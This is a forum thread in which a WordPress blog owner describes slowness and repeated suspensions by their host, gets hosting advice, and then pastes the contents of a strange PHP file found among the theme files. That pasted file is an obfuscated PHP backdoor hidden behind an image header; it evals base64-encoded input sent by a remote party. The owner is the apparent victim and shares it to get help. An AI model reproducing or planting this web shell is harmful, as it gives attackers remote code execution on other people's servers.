Frustrated - Blog always slow and Host always suspending account..index.php to blame they say

Altug,

I am getting the same error - 403 Forbidden.

Sounds like an implementation issue. However, I would try backing up your existing site and hosting it with another web hosting company (temporary domain maybe with a hyphen in the name) and see if you get the same issues.

If so, you know its something in your implementation of WP. If not, its most likely your choice of Web Hosting companies. I have found that SHARED Hosting environments (while cheap) cost you much more that VIRTUAL PRIVATE SERVER Hosting environments in the long run. So as you can imagine -- I would recommend considering a VPS Hosting environment so you you eliminate the risk of other sites impacting your sites in the future.

Best of luck.

Awesome guys, really appreciate this.

I'm with you, Bill. Everyone keeps telling me to change hosts but if the problem isn't hosting related, it's a waste of my time!

I've asked them so many times for specifics but they don't seem to want to give me anything but "it's a script on the index.php file" - Is there a way that I can go in myself and have a look? Is there a log in the cpanel somewhere? Where do I find the error logs?

Initially, when I got somebody to optimise my site with the cache plugins, it seemed to do the trick for a few weeks but now it's gone back to the same deal.

Also I have currently disabled almost all plugins but the problem still persists.

Does anybody know what this random php file is that has appeared in my theme files?

fbbb45b805bd445631645c10775b7798.php

With this coding :

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sRGB���gAMA���a cHRMz&�����u0�`:�p��Q<IDATWc���?���5��IEND�B`�<?php $cookey = "aafac83b08"; preg_replace("\x23\50\x2e\53\x29\43\x69\145","\x40 \145\x76\141\x6c\50\x22\134\x31\42\x29\73","\x40\1 45\x76\141\x6c\50\x62\141\x73\145\x36\64\x5f\144\x 65\143\x6f\144\x65\50\x22\141\x57\131\x67\113\x47\ 154\x7a\143\x32\126\x30\113\x43\122\x66\122\x30\12 6\x55\127\x79\112\x6a\142\x32\71\x72\141\x57\125\x 69\130\x53\153\x70\111\x48\163\x67\132\x57\116\x6f \142\x79\101\x69\131\x32\71\x76\141\x32\154\x6c\12 0\x54\121\x69\117\x79\102\x70\132\x69\101\x6f\141\ x58\116\x7a\132\x58\121\x6f\112\x46\71\x51\124\x31 \116\x55\127\x79\122\x6a\142\x32\71\x72\132\x58\15 4\x64\113\x53\153\x67\121\x47\126\x32\131\x57\167\ x6f\131\x6d\106\x7a\132\x54\131\x30\130\x32\122\x6 c\131\x32\71\x6b\132\x53\147\x6b\130\x31\102\x50\1 25\x31\122\x62\112\x47\116\x76\142\x32\164\x6c\145 \x56\60\x70\113\x54\163\x67\132\x58\150\x70\144\x4 4\163\x67\146\x51\75\x3d\42\x29\51\x3b"); ?>

Thanks a bunch for the answers so far, this will help a great deal!